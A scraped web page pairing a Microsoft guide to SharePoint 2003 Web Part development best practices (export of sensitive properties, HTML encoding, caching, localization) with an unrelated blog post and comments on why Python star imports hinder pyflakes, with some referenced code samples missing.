By default, each property is included in the .dwp file whenever you export a Web Part. However, because you may have properties that contain sensitive information, for example, a date of birth, the Web Part infrastructure enables you to identify a property as controlled, allowing you or the user to have the choice to exclude the value if the Web Part is exported. Only properties that are exported when the user is in personal view can be controlled; in shared view, all property values are exported because it is not likely that sensitive information would be included on a shared page.
There are two properties that work together to provide this functionality: the ControlledExport property of the WebPartStorageAttribute class, and the ExportControlledProperties property of the WebPart class.
ControlledExport
The ControlledExport property of the WebPartStorageAttribute class, if set to true, specifies the property as a controlled property. This property is defined along with other property attributes as follows:
Note If no WebPartStorage attribute is defined, or if the ControlledExport property is not explicitly included, this value is false.
ExportControlledProperties
The ExportControlledProperties property of the WebPart class is used at run time to determine whether controlled properties are exported when the user is in personal view. The default value is false, which prevents properties from being exported while in personal view.
This property maps directly to the Allow Export Sensitive Properties check box in the Advanced category of the tool pane, enabling the user to set this value at run time. By default, this check box is not selected, which prevents controlled properties from being exported. The user has to explicitly select this check box to allow different behavior. (This option applies only to controlled properties.)
Figure 1. Advanced category as viewed in the tool pane
Note The Advanced category in the tool pane appears only in the view in which the Web Part was added. For example, if the Web Part is added in shared view, the Advanced section appears in the tool pane only when you are modifying properties in the Shared Page; if it is added in personal view, the Advanced section of the tool pane appears only when you are modifying properties in My Page. In either case, the setting determines how properties are exported only when the user is exporting in personal view.
Implement the IDesignTimeHtmlProvider Interface in Your Web Part to Ensure Correct Rendering in FrontPage
Because Microsoft Office FrontPage is the environment where many end users edit Web Part Pages, you should make sure your Web Parts render correctly there. You can specify how you want your Web Part to render in the FrontPage Design view by implementing the IDesignTimeHtmlProvider interface.
If you do not implement this interface, and a user opens a Web Part Page in the FrontPage Design view, your part appears only as the message, "There is no preview available for this part."
Following is an example of a simple IDesignTimeHtmlProvider implementation.
namespace MyWebParts { [XmlRoot(Namespace = "MyNamespace")] public class DesignTimeHTMLSample : Microsoft.SharePoint.WebPartPages.WebPart, IDesignTimeHtmlProvider { private string designTimeHtml = "This is the design-time HTML."; private string runTimeHtml = "This is the run-time HTML."; public string GetDesignTimeHtml() { return SPEncode.HtmlEncode(designTimeHtml); } protected override void RenderWebPart(HtmlTextWriter output) { output.Write(this.ReplaceTokens(runTimeHtml)); } } }
For more information, see the IDesignTimeHtmlProvider interface in the Microsoft SharePoint Products and Technologies 2003 SDK.
Make Properties User-Friendly in the Tool Pane
Because the tool pane is where users modify Web Part properties, you should be aware of how your properties appear in it. Following are some attributes you should use to ensure that your users can work with your Web Part properties easily in the tool pane.
- FriendlyNameAttribute. Controls how the property name is displayed.
This name should be user friendly, for example, a property named MyText should be "My Text" (notice the space between the two words).
- Description. Specifies the tool tip shown when the user pauses the mouse pointer over the property.
Try to write the property description so that a user can figure out how and why they should set the property. Try to minimize users having to navigate away from your UI and seek help in the documentation to set a property.
- Category. Describes the general section the property belongs to, for example, Advanced, Appearance, Layout, or Miscellaneous.
If possible, avoid the Miscellaneous category, which is used if no category is specified for a property. Because this category title is not descriptive, your user has no indication of what is included in Miscellaneous without expanding it.
A custom property is also placed in the Miscellaneous category if you attempt to include it in the Appearance, Layout, or Advanced categories. These categories are reserved for base class properties only.
For example, the following attribute statements demonstrate the attributes for a custom property that is a string displayed as a text box in the tool pane.
// Create a custom category in the tool pane. [Category("Custom Properties")] // Assign the default value. [DefaultValue(c_MyStringDefault)] // Make property available in both Personalization // and Customization mode. [WebPartStorage(Storage.Personal)] // The caption that appears in the tool pane. [FriendlyNameAttribute("My Custom String")] // The tool tip that appears when pausing the mouse pointer over // the friendly name in the tool pane. [Description("Type a string value.")] // Display the property in the tool pane. [Browsable(true)] [XmlElement(ElementName="MyString")]
Additional Customization Tips for Properties in the Tool Pane
You can customize the appearance of your properties in the tool pane by doing the following:
- Expanding and collapsing specific categories when the pane opens.
Use the Expand method of either the WebPartToolPart or CustomPropertyToolpart class to expand selected categories.
- Hiding base class properties.
Use the Hide method of the WebPartToolPart class to hide selected properties.
- Controlling the order of tool parts within a tool pane.
Order the tool parts as you want them to appear in the tool pane in the array passed to the GetToolParts method of the WebPart class.
For more information, see Creating a Web Part with Custom Properties in the Microsoft SharePoint Products and Technologies 2003 SDK.
HTMLEncode All User Input Rendered to the Client
Use the HTMLEncode method of the SPEncode class as a security precaution to help prevent malicious script blocks from being able to execute in applications that execute across sites. You should use HTMLEncode for all input that is rendered to the client; this can reduce dangerous HTML tags to more secure escape characters.
Following is an example of using the HTMLEncode method to render HTML to a client computer.
For more information, see the SPEncode class in the Microsoft SharePoint Products and Technologies 2003 SDK.
Check Web Part Zone Properties Whenever You Attempt to Save Changes to Your Web Part
Web Part zones have properties that control whether a user can persist changes. If you attempt to save changes to a Web Part without the correct permissions, it could result in a broken page. For this reason, you should account for any combination of permissions for your Web Part.
Following are the list of properties in the WebPartZone class that determine whether a Web Part can persist properties:
- AllowCustomization property. If false, and the user is viewing the page in shared view, the Web Part cannot persist any changes to the database.
- AllowPersonalization property. If false, and the user is viewing the page in personal view, the Web Part cannot persist any changes to the database.
- LockLayout property. If true, changes to the AllowRemove, AllowZoneChange, Height, IsIncluded, IsVisible, PartOrder, Width, and ZoneID properties are not persisted to the database regardless of view.
Fortunately, the Web Part infrastructure does a lot of the work. You can check the Permissions property, which takes into account the values of the zone's AllowCustomization and AllowPersonalization properties. If, however, your user interface permits changes to the properties controlled by the LockLayout property, you must explicitly check this value, typically in your property's Set accessor method.
The following code illustrates how you can get a reference to a Web Part's containing zone to check the LockLayout property.
Use Simple Types for Custom Properties You Define
Web Part property values can be specified in one of two ways:
- As XML elements contained in the Web Part.
For example,
- As attributes of the Web Part
For example,
Because of how the Web Part infrastructure handles property values, we recommend that you define your properties as simple so they work properly if specified as attributes of the Web Part.
If your code requires a value to be a complex type, you can convert the value to a complex type as required by your program.
For a list of simple types, see C# Simple Types, or Visual Basic .NET Primitive Types.
Make Properties Independent of Each Other if They both Appear in the Tool Pane
There is no guarantee of the order that properties are set in the tool pane. For this reason, Web Part developers should avoid writing Web Part properties that are dependent on each other and that both appear in the tool pane.
For example, if logic in property A's set function sets B=2 if A=1, and if the end user inputs A=1 and B=4 in the tool pane and clicks Apply, then property A might get set first, setting B to the value of 2. However, then B is set again to 4 based on the user input, resulting in values of A=1 and B=4.
Make Web Parts Easily Searchable in the Galleries
Web Part galleries can contain numerous custom Web Parts, so the Web Part infrastructure provides Search capability to help users quickly find the Web Parts they want.
Figure 2. The search box for Web Parts
Search uses the Title and Description properties of your Web Part to build the result set, so you should provide comprehensive information in these fields to increase the chance of your Web Part being returned from Search.
In addition, each Web Part in the Web Part List has an icon that appears on the left.
Figure 3. A Web Part icon
By default, the Web Part infrastructure uses generic icons for each Web Part; however, you can customize this icon using the PartImageLarge property.
Provide a Preview of Your Web Part for the Web Part Gallery
Be sure to create previews for your Web Parts so that administrators are able to review the parts included in the Web Part gallery.
In your RenderWebPart method, you can determine whether you are in preview mode using the following code.
If you are in preview mode, you should render the HTML for the content you want to appear in the preview—typically an image. The chrome and title bar are provided by the infrastructure, with the Web Part title appearing in the title bar.
To view a Web Part preview, follow these steps.
- On the top-level site, select Site Settings, then Go to Site Administration.
- Select Manage Web Part Gallery to see the list of available Web Parts.
- Click on the Web Part name and the preview is displayed if one is available.
Techniques to Improve Web Part Performance
If your Web Part is working with large amounts of data, you can significantly improve its performance by using the following techniques in your code.
Asynchronous Data Fetching
Use an asynchronous thread for any operation that could take a significant amount of time. In particular, if a database or HTTP request is made, an asynchronous fetch allows other parts to continue processing without being blocked.
To register asynchronous operations, call the RegisterWorkItemCallback method of the WebPart class before calling the RenderWebPart method. At the beginning of the render cycle, the base class waits for any pending work items.
Note The RegisterWorkItemCallback method operates in a manner similar to System.Threading.ThreadPool.QueueUserWorkItem, but is implemented to work with the event model within a Web Part Page.
For more information, including details particular to connectable Web Parts, see Asynchronous Data Fetching in the Microsoft SharePoint Products and Technologies 2003 SDK.
Caching
Use a Web Part cache to store property values and to expedite data retrieval. Values are stored in the Web Part cache on a per-part or per-user basis by specifying the storage type in the call to the PartCacheRead and PartCacheWrite methods.
You can also determine the type of cache to use—either the content database (objects must be serializable) or the ASP.NET Cache object—by setting the value of the WebPartCache element in the web.config file.
Note By default, exceptions related to caching are not propagated to the surface by the Web Part infrastructure. For debugging purposes, you can make the following changes to your web.config file.
- In the <SharePoint> tag, locate the <SafeMode MaxControls="50" CallStack="false"/> tag and change it to <SafeMode MaxControls="50" CallStack="true"/>, causing the ASP .NET error message to display with stack trace information.
- In the <system.web> tag, locate the <customErrors mode="On"> tag and change it to <customErrors mode="Off" /> to see the ASP .NET exception when an error occurs instead of being redirected to the error page.
Note For security reasons, these changes are recommended for a development environment only; this information is not suitable for a production environment as it can contain sensitive data.
For more information about caching, see Web Parts and Caching in the Microsoft SharePoint Products and Technologies 2003 SDK.
Localize Your Custom Property's FriendlyName, Title, and Description Attributes
By planning for localization at the development phase, you can provide a more usable user interface and save the costs associated with localizing your Web Part post-development. The Web Part infrastructure provides a simple way to localize certain attributes (FriendlyName, Category, and Description) of your custom properties, making it easier for users to work with them in the tool pane.
To localize the FriendlyName, Title, and Description property attributes as they appear in the tool pane
- Add an assembly resource file to your project.
With your project open in Microsoft Visual Studio .NET, click Add New Item, and then select Assembly Resource File. (This adds Resource1.resx file to your project.)
- Enter your localized strings to the .resx file.
Select the Resource1.resx file and enter a localized string for FriendlyName, Category, and Description.
Figure 4. Assembly Resource File data as viewed in Visual Studio .NET 2003
- Add the ResourceAttribute attribute to each property you localize.
The ResourceAttribute attribute takes three string parameters, which map to the name values you entered in the .resx file, in this case PropertyNameID = 1, CategoryID=2, and DescriptionID = 3.
[ResourceAttribute ("1", "2", "3")]
- Override the LoadResource method of the WebPart class.
This method takes one string called id, which is the string passed to ResourceAttribute. The Web Part infrastructure passes this string to the LoadResource method.
Following is an example of the LoadResource function.
- Create a .resource file by using the ResGen tool provided by .NET Framework tools.
In a command prompt window enter:
cd c:\Program Files\<Your Visual Studio .Net folder>\<SDK>\Bin
Then type the following:
ResGen <path of your Resource1.resx file>
For more information, including a code sample, see the ResourcesAttribute class in the Microsoft SharePoint Products and Technologies 2003 SDK.
Ensure that When Anonymous Access is On, the User Can View the Web Part Page without Logging In
You do not want to prompt users for a login if the site has anonymous access enabled. You can determine whether anonymous access is enabled by querying the AllowAnonymousAccess property of the SPWeb class. If this value is true, anonymous access is enabled and you should not perform any action that requires credentials.
Conclusion
This article presents best practices that can assist you when developing Web Parts. By using some of these techniques, you can reduce the chance for errors and improve the performance and usability of your Web Parts.
|
http://msdn.microsoft.com/en-us/library/dd583135(v=office.11).aspx
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
30 December 2009 16:49 [Source: ICIS news] 1.1% year-over-year decline in overall weekly railcar shipments for the 19 commodity categories tracked by the ?xml:namespace>
Year-to-date to 26
|
http://www.icis.com/Articles/2009/12/30/9322016/us-weekly-chemical-railcar-traffic-rises-18.7.html
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
This chapter describes how you can develop JAX-WS Web services that interact with an Oracle database.
Overview of Stateful Web Services
Accessing HTTP Session on the Server
Enabling HTTP Session on the Client
Developing Stateful Services in a Cluster Using Session State Replication
A Note About the JAX-WS RI @Stateful Extension
Normally, a JAX-WS Web service is stateless: that is, none of the local variables and object values that you set in the Web service object are saved from one invocation to the next. Even sequential requests from a single client are treated each as independent, stateless method invocations.
There are Web service use cases where a client may want to save data on the service during one invocation and then use that data during a subsequent invocation. For example, a shopping cart object may be added to by repeated calls to the
addToCart web method and then fetched by the
getCart web method. In a stateless Web service, the shopping cart object would always be empty, no matter how many
addToCart methods were called. But by using HTTP Sessions to maintain state across Web service invocations, the cart may be built up incrementally, and then returned to the client.
Enabling stateful support in a JAX-WS Web service requires a minimal amount of coding on both the client and server.
On the server, every Web service invocation is tied to an HttpSession object. This object may be accessed from the Web service Context that, in turn, may be bound to the Web service object using resource injection. Once you have access to your HttpSession object, you can "hang" off of it any stateful objects you want. The next time your client calls the Web service, it will find that same HttpSession object and be able to lookup the objects previously stored there. Your Web service is stateful!
The steps required on the server:
Add the @Resource (defined by Common Annotations for the Java Platform, JSR 250) to the top of your Web service.
Add a variable of type WebServiceContext that will have the context injected into it.
Using the Web service context, get the HttpSession object.
Save objects in the HttpSession using the setAttribute method and retrieve saved object using getAttribute. Objects are identified by a string value you assign.
The following snippet shows its usage:
Example 18-1 Accessing HTTP Session on the Server
@WebService public class ShoppingCart { @Resource // Step 1 private WebServiceContext wsContext; // Step 2 public int addToCart(Item item) { // Find the HttpSession MessageContext mc = wsContext.getMessageContext(); // Step 3 HttpSession session = ((javax.servlet.http.HttpServletRequest)mc.get(MessageContext.SERVLET_REQUEST)).getSession(); if (session == null) throw new WebServiceException("No HTTP Session found"); // Get the cart object from the HttpSession (or create a new one) List<Item> cart = (List<Item>)session.getAttribute("myCart"); // Step 4 if (cart == null) cart = new ArrayList<Item>(); // Add the item to the cart (note that Item is a class defined // in the WSDL) cart.add(item); // Save the updated cart in the HTTPSession (since we use the same // "myCart" name, the old cart object will be replaced) session.setAttribute("myCart", cart); // return the number of items in the stateful cart return cart.size(); } }
The client-side code is quite simple. All you need to do is set the SESSION_MAINTAIN_PROPERTY on the request context. This tells the client to pass back the HTTP Cookies that it receives from the Web service. The cookie contains a session ID that allows the server to match the Web service invocation with the correct HttpSession, providing access to any saved stateful objects.
Example 18-2 Enabling HTTP Session on the Client
ShoppingCart proxy = new CartService().getCartPort(); ((BindingProvider)proxy).getRequestContext().put(BindingProvider.SESSION_MAINTAIN_PROPERTY, true); // Create a new Item object with a part number of '123456' and an item // count of 4. Item item = new Item('123456', 4); // After first call, we'll print '1' (the return value is the number of objects // in the Cart object) System.out.println(proxy.addToCart(item)); // After the second call, we'll print '2', since we've added another // Item to the stateful, saved Cart object. System.out.println(proxy.addToCart(item));
In a high-availability environment, a JAX-WS Web service may be replicated across multiple server instances in a cluster. A stateful JAX-WS Web service is supported in this environment through the use of the WebLogic Server HTTP Session State Replication feature. For more information, see "HTTP Session State Replication" in Using Clusters for Oracle WebLogic Server.
There are a variety of techniques and configuration requirements for setting up a clustered environment using session state replication (for example, supported servers and load balancers, and so on). From the JAX-WS programming perspective, the only new consideration is that the objects you store in the HttpSession using the HttpSession.setAttribute method (as in Example 18-1) must be Serializable. If they are Serializable, then these stateful objects become available to the Web service on all replicated Web service instances in the cluster, providing both load balancing and failover capabilities for JAX-WS stateful Web services.
The JAX-WS 2.1 Reference Implementation (RI) contains a vendor extension that supports a different model for stateful JAX-WS Web services using the @Stateful annotation. It's implementation "pins" the state to a particular instance and is not designed to be scalable or fault-tolerant. This feature is not supported for WebLogic Server JAX-WS Web services.
|
http://docs.oracle.com/cd/E21764_01/web.1111/e13734/stateful.htm
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
Investing
The Foresight saga, continued
Shares have had their worst year for decades. Interest rates are close to record lows. Where should you invest?
STOCKMARKETS fell for the third year running in 2002. Measured by the decline in the ratio of equity wealth to GDP, the current bear market is the deepest in history. Yet not all investors have lost their shirts. Remember Felicity Foresight? In December 1999 The Economist revealed how this little-known but brilliant investor had used an infallible investment strategy to become the world's richest person. Her secret? Perfect foresight.
When Ms Foresight was born in America in January 1900, her parents invested $1 on her behalf in a basket of shares. If it had been left there it would now be worth about $9,000. But Felicity reckoned she could do much better. Discovering at an early age that she could foresee the performance of financial markets perfectly, she would predict at the beginning of each year which asset around the world would bring the highest total dollar return (income plus capital gain) over the following 12 months. She would put all her wealth into that asset, and reinvest her income, before making a new forecast and shifting her money the following January.
By her 100th birthday Ms Foresight had turned her initial $1 into an amazing $1.3 quadrillion—ie, 13 followed by 14 noughts—even after deducting dealing costs and taxes. Since then, despite the three-year bear market, she has enjoyed a post-tax average annual return of 29% thanks to some canny selections (Israeli, Russian and Czech shares in succession). Her nest-egg is now $2.7 quadrillion. Had she not had dealing costs and taxes to pay, she would, thanks to the effects of compounding, be worth an astonishing $27.5 quintillion (ignoring the fact that no market in the world is big enough to absorb such wealth).
In 2002, when S&P 500 shares yielded a total loss (including dividends) of 22%, Felicity enjoyed a 44% dollar return on her Czech shares. In theory, she could have made an even heftier profit in Pakistan, but she limits herself to stockmarkets covered in the back pages of The Economist. Gold, up 26% as investors sought a safe haven in an uncertain world, and London residential property (up by over 30% including an assumed net rental yield of 4%) would also have produced handsome rewards (see chart). Indeed, The Economist's global house-price indices suggest that, once rental income is included, housing in most countries (apart from Germany and Japan) yielded double-digit returns last year. At the other extreme, Argentine shares saw the biggest drop. Among developed markets German shares fared worst, with a 33% dollar loss, even though the euro rose by 18% against the dollar.
During Ms Foresight's 103 years, American shares have outperformed all other assets, returning 9.3% on average since 1900 compared with 4.8% on long-term Treasury bonds. Gold has yielded a dismal 2.8%, even less than the 4.1% return on cash (measured by the yield on American Treasury bills). Over the past ten years, however, the main equity markets have offered a lower return than either property or British government bonds (see chart). The best ten-year investment in our portfolio was London residential property with a total dollar return of 16%, well above the 9% earned on American stocks.
Despite the recent spurt in its price, gold's long-term performance has been lacklustre, offering a ten-year average return of only 0.4%. But the worst investment of all has been Chinese equities. China may be the fastest growing big economy, with massive potential, yet Chinese shares have suffered an average annual loss of 16%. Emerging stockmarkets more broadly have proved a poor bet over the decade, even though in 14 of the past 15 years one of these markets has topped the global investment league. What goes up has then usually tumbled down.
This is where Henry Hindsight, an old flame of Felicity's, has been badly caught out. He invests each January in the previous year's best-performing asset. Henry is like a typical small investor who tends to follow fashion, buying East Asian shares or internet shares in the 1990s after they had already risen sharply—and usually just before they began to slide. Felicity's best prediction was that marriage to Henry would never work.
Future imperfect
What is Felicity's hot tip for 2003? Naturally, she is not saying. However, she has hinted that she is ignoring the advice of most American analysts, who reckon, on average, that the S&P 500 will gain 20% by the end of 2003. After all, share prices are still far from cheap. In previous bear markets equities have always undershot before staging a full recovery; this time valuations have remained well above their long-term average. The price/earnings (p/e) ratio for the S&P 500 using historic reported profits is currently around 30, compared with a 50-year average of 16 and lows of ten or less in previous bear markets. Even if forecast profits are used to estimate earnings, the p/e ratio still looks high.
Moreover, analysts' consensus forecast of a 15% rise in American corporate profits in 2003 is almost certainly far too high, given that nominal GDP is likely to grow by only 4%. Markets were cheered by the upward revision of America's third-quarter GDP growth to 4% at an annual rate. However, a deeper delve into the figures shows that corporate profits actually fell by 7%. Even in a recovering economy, excess capacity and weak pricing power continue to squeeze profits.
Even if the American economy avoids another recession in 2003, real GDP growth is likely to remain below trend for a prolonged period because the large debts of firms and consumers will cramp spending. If so, the output gap (the gap between actual and potential GDP) will remain large, pushing inflation lower. Inflation is already low, with the GDP deflator rising by only 0.8% in the past 12 months. In the non-financial corporate sector prices have fallen by 1.2% in the past year. The Fed has now woken up to the risks, but even if full-blown deflation is avoided, the pace of growth in nominal income—and hence profits—will be sluggish for some time.
If Ms Foresight believes that American share prices could fall for a fourth year—the longest such decline since the Great Depression—where might she be investing? Interest rates of only 1% on bank deposits are hardly enticing. Long-term government bonds look attractive if you expect inflation and interest rates to fall further, but with bond yields already near historic lows, potential gains are limited.
Henry Hindsight's decision is much easier to predict. He is ploughing all his money into Czech shares, gold and residential property. But to Felicity's experienced eye many housing markets, from London to Washington to Sydney, may look horribly bubble-like.
Asked whether she still favours emerging markets, the old lady smiles coyly. According to the Bank Credit Analyst, a Canadian research firm, emerging stockmarket valuations are currently at their cheapest during the 15 years for which figures are available, offering a p/e ratio of nine compared with a long-term average of 15.
Whatever happens this year, Felicity will strike lucky again. But sooner or later her run of double-digit returns may come to an end. In a world of near-zero inflation, where stockmarkets in different countries are moving ever closer in step and where risk and uncertainty are on the rise, the returns that Felicity is accustomed to will be elusive. She would be wise to recall 1931, when the best performing asset was cash, offering 1% interest.
|
http://www.economist.com/node/1515323/print
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
import txt into database
Discussion in 'ASP General' started by atse, form mail into database...yes???SAH, Sep 7, 2003, in forum: HTML
- Replies:
- 7
- Views:
- 5,867
- Adrienne
- Sep 9, 200321
- Roedy Green
- Sep 15, 2011
import txt file to mysql with ruby & load data local ??Mike Turco, Aug 24, 2006, in forum: Ruby
- Replies:
- 0
- Views:
- 135
- Mike Turco
- Aug 24, 2006
Can I Import table from txt file into form letter using Python?WorkerBee, Feb 21, 2013, in forum: Python
- Replies:
- 3
- Views:
- 188
|
http://www.thecodingforums.com/threads/import-txt-into-database.790966/
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
Generic version of
DistTsqr performance test.
More...
#include <Tsqr_ParTest.hpp>
Generic version of
DistTsqr performance test.
Definition at line 411 of file Tsqr_ParTest.hpp.
Constructor, with custom seed value.
Definition at line 451 of file Tsqr_ParTest.hpp.
Constructor, with default seed value.
This constructor sets a default seed (for the pseudorandom number generator), which is the same seed (0,0,0,1) each time.
Definition at line 49724 of file Tsqr_ParTest.hpp.
Run the DistTsqr benchmark.
Definition at line 536 of file Tsqr_ParTest.hpp.
|
http://trilinos.sandia.gov/packages/docs/r10.8/packages/kokkos/doc/html/classTSQR_1_1Test_1_1DistTsqrBenchmarker.html
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
26 June 2012 07:02 [Source: ICIS news]
SINGAPORE (ICIS)--?xml:namespace>
It will take a few days for the No 1 BDO plant to be fully operational, said the source.
The plant was down for maintenance when a power outage hit the Mailiao complex of the
Nan Ya Plastics’ No 2 BDO plant at the site with a 60,000 tonne/year capacity was taken off line because of the electricity disruption.
The company has no plans in the near term to resume production at the No 2 BDO unit, which had just undergone maintenance and was restarted in end-May, amid weak demand, the source said.“In the near future, we will only keep one line running since the demand is still soft,”
|
http://www.icis.com/Articles/2012/06/26/9572512/taiwans-nan-ya-in-process-of-restarting-no-1-bdo-unit-in-mailiao.html
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
The Velocity Template Engine lets you render data from within applications and servlets. Primarily used to develop dynamic, servlet-based Websites, Velocity's clean separation of template and Java code makes it ideal for MVC Web development. As a general template engine, Velocity suits many other purposes, such as code generation, XML generation and transformation, and textual stream processing. This article introduces the Velocity Template Language (VTL) and provides examples of how to use the Velocity engine, including how to generate Web content in a Java servlet environment.
Velocity is an open source templating tool developed by an international volunteer community and hosted by the Apache Software Foundation's Jakarta Project. At the Jakarta Velocity Project Website, where you can download the freely available source code, a thriving and growing community of users is ready to answer questions and offer solutions to common templating problems. Velocity was inspired by the pioneering WebMacro project, a work for which we in the Velocity community are grateful.
In this article, I present a short primer on the Velocity Template Engine and its template language, Velocity Template Language (VTL). I also demonstrate how to use Velocity through several examples.
Hello World, of course.
Why should I use it?
Designed as an easy-to-use general templating tool, Velocity is useful in any Java application area that requires data formatting and presentation. You should use Velocity for the following reasons:
- It adapts to many application areas
- It offers a simple, clear syntax for the template designer
- It offers a simple programming model for the developer
- Because templates and code are separate, you can develop and maintain them independently
- The Velocity engine easily integrates into any Java application environment, especially servlets
- Velocity enables templates to access any public method of data objects in the context..
Where do I use it?
Velocity is successfully used in:
- Servlet-based Web applications
- Java and SQL code generation
- XML processing and transformation
- Text processing, such as RTF file generation.
How does it work?.
Design-time considerations
You need to consider three elements for your design:
- Which data to include in the email
- What form the data elements should take (for example, as
List,
Map, or
String)
- What to call those data.
Write the code and template:
- Retrieve all data from the data sources -- a database via JDBC (Java Database Connectivity), a file, or just something calculated
- Put that data into the context using the agreed-upon names
- Render the template with the context to produce output
You may recall from the Hello World example that I referred to class
VelocityContext as the context. Modeled after a
java.util.Map, the context is an object that holds data provided by the application or servlet that the template accesses.
For this example, we get all the data from our data sources (in this case, we hardwire it into the code), organize it, and add it to the context:
/* create our list of maps */);
It appears we really want to get rid of those bears!
Now, with the data organized and placed in the context and the template ready, we can render the template against the context. Here is the code:
import java.io.StringWriter; import java.util.List; import java.util.ArrayList; import java.util.Map; import java.util.HashMap; import org.apache.velocity.Template; import org.apache.velocity.VelocityContext; import org.apache.velocity.app.VelocityEngine; public class PetStoreEmail { public static void main( String[] args ) throws Exception { /* first, get and initialize an engine */ VelocityEngine ve = new VelocityEngine(); ve.init(); /* organize our data */); /* get the Template */ Template t = ve.getTemplate( "petstoreemail.vm" ); /* now render the template into a Writer */ StringWriter writer = new StringWriter(); t.merge( context, writer ); /* use the output in your email body */ sendEmail( writer.toString() ); } }
This complete program generates your email body. Because Velocity renders templates into a
Writer, you can easily manage the output. In this case, the rendered output went into a
String via the
StringWriter, but it could easily have gone to a file, a browser, or a BLOB (binary large object) in a database. This is one reason why Velocity integrates so easily into Java applications.
The program output (your email body) looks like this:
3 Pets on Sale! We are proud to offer these fine pets at these amazing prices. This month only, choose from: horse for only 00.00 dog for only 9.99 bear for only .99 Call Today!
Velocity Template Language
I've shown Velocity templates for two different examples, but in neither case have I explained what the special markup did (although you could probably guess).
The Velocity Template Language (VTL) is a simple syntax providing two parts: references, a formalism for accessing objects in the context; and directives, a set of statements used for control and action. Described as "a language definition with a feature set that fits comfortably on a standard business card" (see Jim Jagielski's "Getting Up to Speed with Velocity") VTL has been intentionally kept simple and small by the community.
References
References in the template access data. They freely mix with the template's non-VTL content. Formally defined, a reference is anything in a template that starts with the '$' character and refers to something in the context. If no corresponding data object exists in the context, the template simply treats the reference as text and renders it as-is into the output stream.
Here is a short template containing a simple reference mixed with non-VTL content:
Hello $name! Welcome to Velocity!
Here, the reference is
$name. As in the Hello World example, Velocity replaces
$name in the template with the
toString() return value of what is placed in the context under the key
name:
Hello World! Welcome to Velocity!
The Velocity reference allows access to any object's public method, and the template's syntax is the same as it would be in Java code. Here are a few examples:
There are $myBean.getSize() elements. $myObject.anotherMethod( 1, "more data ") $foo.getBar().barMethod("hello", $moredata ) $foo.myMethod( $bar.callThis() )
You may recall from the Pet Store email example that we stored the name and price information in a
java.util.Map, and accessed the data using two tokens
name and
price, which don't exist as methods in the
java.util.Map class:
$pet.name for only $pet.price
This works because Velocity incorporates a JavaBean-like introspection mechanism that lets you express method accesses in references using a property notation. In the Pet Store example template, Velocity's introspection facility finds and invokes the
Map's
public Object get(String) method with the keys
name and
price. We could access the same data in a different way by invoking the
get(String) method directly in the template:
$pet.get('name') for only $pet.get('price')
This would produce the same output, and better represents what is actually happening. However, the other way that uses the property notation is easier to read and doesn't tie your template to the data class's specific implementation. For example, you can replace the
Map in the
List with a class that has public methods
getName() and
getPrice(), and the original example template containing the following will continue to work:
$pet.name for only $pet.price
|
http://www.javaworld.com/article/2075966/core-java/start-up-the-velocity-template-engine.html
|
CC-MAIN-2014-35
|
en
|
refinedweb
|
When I was learning Python, I of course read the usual warnings. They told me: You can do
from something_or_other import *
but don’t do it. Importing star (asterisk, everything) is a Python Worst Practice.
Don’t “import star”!
But I was young and foolish, and my scripts were short. “How bad can it be?” I thought. So I did it anyway, and everything seemed to work out OK.
Then, like they always do, the quick-and-dirty scripts grew into programs, and then grew into a full-blown system. Before long I had a monster on my hands, and I needed a tool that would look through all of the scripts and programs in the system and do (at least) some basic error checking.
I’d heard good things about pyflakes, so I thought I’d give it a try.
It worked very nicely. It found the basic kinds of errors that I wanted it to find. And it was fast, so I could run it through a directory containing a lot of .py files and it would come out alive and grinning on the other side.
During the process, I learned that pyflakes is designed to be a bit on the quick and dirty side itself, with the quick making up for the dirty. As part of this process, it basically ignores star imports. Oh, it warns you about the star imports. What I means is — it doesn’t try to figure out what is imported by the star import.
And that has interesting consequences.
Normally, if your file contains an undefined name — say TARGET_LANGAGE — pyflakes will report it as an error.
But if your file includes any star imports, and your script contains an undefined name like TARGET_LANGAGE, pyflakes won’t report the undefined name as an error.
My hypothesis is that pyflakes doesn’t report TARGET_LANGAGE as undefined because it can’t tell whether TARGET_LANGAGE is truly undefined, or was pulled in by some star import.
This is perfectly understandable. There is no way that pyflakes is going to go out, try to find the something_or_other module, and analyze it to see if it contains TARGET_LANGAGE. And if it doesn’t, but contains star imports, go out and look for all of the modules that something_or_other star imports, and then analyze them. And so on, and so on, and so on. No way!
So, since pyflakes can’t tell whether TARGET_LANGAGE is (a) an undefined name or (b) pulled in via some star import, it does not report TARGET_LANGAGE as an undefined name. Basically, pyflakes ignores it.
And that seems to me to be a perfectly reasonable way to do business, not just for pyflakes but for anything short of the Super Deluxe Hyperdrive model static code analyzer.
The takeaway lesson for me was that using star imports will cripple a static code analyzer. Or at least, cripple the feature that I most want a code analyser for… to find and report undefined names.
So now I don’t use star imports anymore.
There are a variety of alternatives. The one that I prefer is the “import x as y” feature. So I can write an import statement this way:
import some_module_with_a_big_long_hairy_name as bx
and rather than coding
x = some_module_with_a_big_long_hairy_name.vector
I can code
x = bx.vector
Works for me.
I use some “standard” (jokingly, of course) abbreviations:
import itertools as it, operator as op, functools as ft, unicodedata as ud
I don’t think I abbreviate other stdlib modules.
I always try to avoid star imports myself. I usually try to import only what I need (including functions and classes from stdlib modules and packages).
I recently fixed some stuff in CVS of pychecker to deal with star imports and following what they import exactly.
I´d be interested in having you try it out and see if it was able to catch the problems you saw that pyflakes couldn´t ?
Feel free to drop me a line!
T
I hope to have some time soon. If I do, I’ll let you know what happens.
Thanks for this update!
I’m under the impression that pylint will actually load all the modules needed for star imports. You might want to give that a try!
Yeah, I would take away from it the opposite – don’t use pyflakes. It sounds “flaky.”
A bug in the pyflakes module doesn’t really sound like a convincing argument to me.
PEP8 mentions “Modules that are designed for use via from M import *”, and it’s written by Guido Van Rossum, so I think it’s safe to trust that document.
Anyway, I wouldn’t be so categorical: there are modules where importing * just doesn’t affect readability at all “by design” (as Guido says…).
Do you really think it’s likely that after importing * from socket you’ll want to redefine AF_INET in your namespace?
I’m new to Python and the like the author have read the warnings about using import * but I was wondering if this warning extends to tkinter where even the official tutorial uses:
from tkinter import *
I don’t know of anything that makes importing star less-bad for tkinter than for any other module. Personally, I usually code “import tkinter as tki” and then fully qualify everything, for example “tki.TOP”.
